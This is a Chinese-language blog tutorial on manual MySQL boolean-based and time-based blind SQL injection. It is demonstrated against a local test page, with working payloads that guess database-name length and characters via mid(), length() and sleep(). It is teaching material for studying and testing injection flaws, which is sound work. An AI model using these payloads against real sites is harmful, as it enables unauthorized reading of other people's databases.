1. 程式人生 > >十幾分鍾讓你學會MySQL布林和延遲盲注手工操作

十幾分鍾讓你學會MySQL布林和延遲盲注手工操作

作者:Max老白Gān丶
連結:http://www.lofter.com/lpost/1fefbc76_12d25dc31
來源:LOFTER

  • 注入常用到的幾個函式


  •  
  •  

    1

    mid(str,1,3)

    字串獲取

    這裡我們要看到123456789 從第一個位元組也就是1開始獲取到3就截止了
  •  

    1

    ORD()

    轉換為ASCII碼

    我們看到這裡把a轉換成了97 我們去看
    對照表

  •  

    1

    Length()

    統計位元組長度

  •  

    1

    version()

    檢視資料庫版本 

  •  

    1

    database()

    檢視資料庫
  •  

    1

    user()

    檢視當前使用者


首先我們確定注入了驗證要先獲取資料庫長度

1

2

and length(database())

or length(database())


  我們先看一下資料庫中sqltest長度【其實就是7個】

小知識點:有資料用and 沒資料用or

1

http://localhost/test.php?id=1and length(database()) >1 #

1

and length(database()) >1 #:

意思是資料庫的長度是否大於1
沒有變化以此類推
發現變換


這時候我們要確定他到底是多少位元組

1

http://localhost/test.php?id=1' and length(database()) = 8 %23


他等於8嗎?不等於

他等於6嗎?不等於

他等於7返回正確頁面說明他的位元組是7



現在我們獲取資料庫名字:

1

http://localhost/test.php?id=1' and mid(database(),1,1) ='1'%23

1

mid(database(),1,1) ='1'

:它的意思是從第一個獲取每次只取一個 它等於1嗎?
很顯然不等

然後修改後面的以此類推我們試到

1

http://localhost/test.php?id=1' and mid(database(),1,1) ='s'%23


返回true的正確頁面

如果我們想獲取第二位第三位怎麼辦?

1

2

3

4

5

6

7

mid(database(),2,1)

mid(database(),3,1)

mid(database(),4,1)

mid(database(),5,1)

mid(database(),6,1)

mid(database(),7,1)

http://localhost/test.php?id=1' and mid(database(),2,1)  ='q'%23


剩下的我就不一一獲取了學習這樣方式就明白了。

延時注入方法:

常用的判斷語句:

1

2

3

4

5

6

7

8

9

' and if(1=0,1, sleep(10)) --+   

 

" and if(1=0,1, sleep(10)) --+

 

) and if(1=0,1, sleep(10)) --+

 

') and if(1=0,1, sleep(10)) --+

 

") and if(1=0,1, sleep(10)) --+



為什麼我和布林注入寫在一個文章裡面哪?因為他們操作的流程是差不多的。



延時了10秒確定存在注入。

獲取資料庫長度利用上面的知識:

1

'and if(length(database())=9,sleep(10),1)--+


意思是如果資料過長度等於9他就延時10秒

1

'and if(length(database())<6,sleep(10),1)--+


如果一開始不知道他長度可以用這個大致判斷的長度然後用上面的等於確定
長度小於6嗎?沒有延遲不小於6


小於9嗎?




延遲成功表名資料庫小於9 也就是說資料庫長度在6-9之間

1

'and if(length(database())=7,sleep(10),1)--+


一 一測試我們確定長度是7

獲取資料庫名字:

1

http://localhost/test.php?id=1' and if(mid(database(),1,1) ='s',sleep(10),1)--+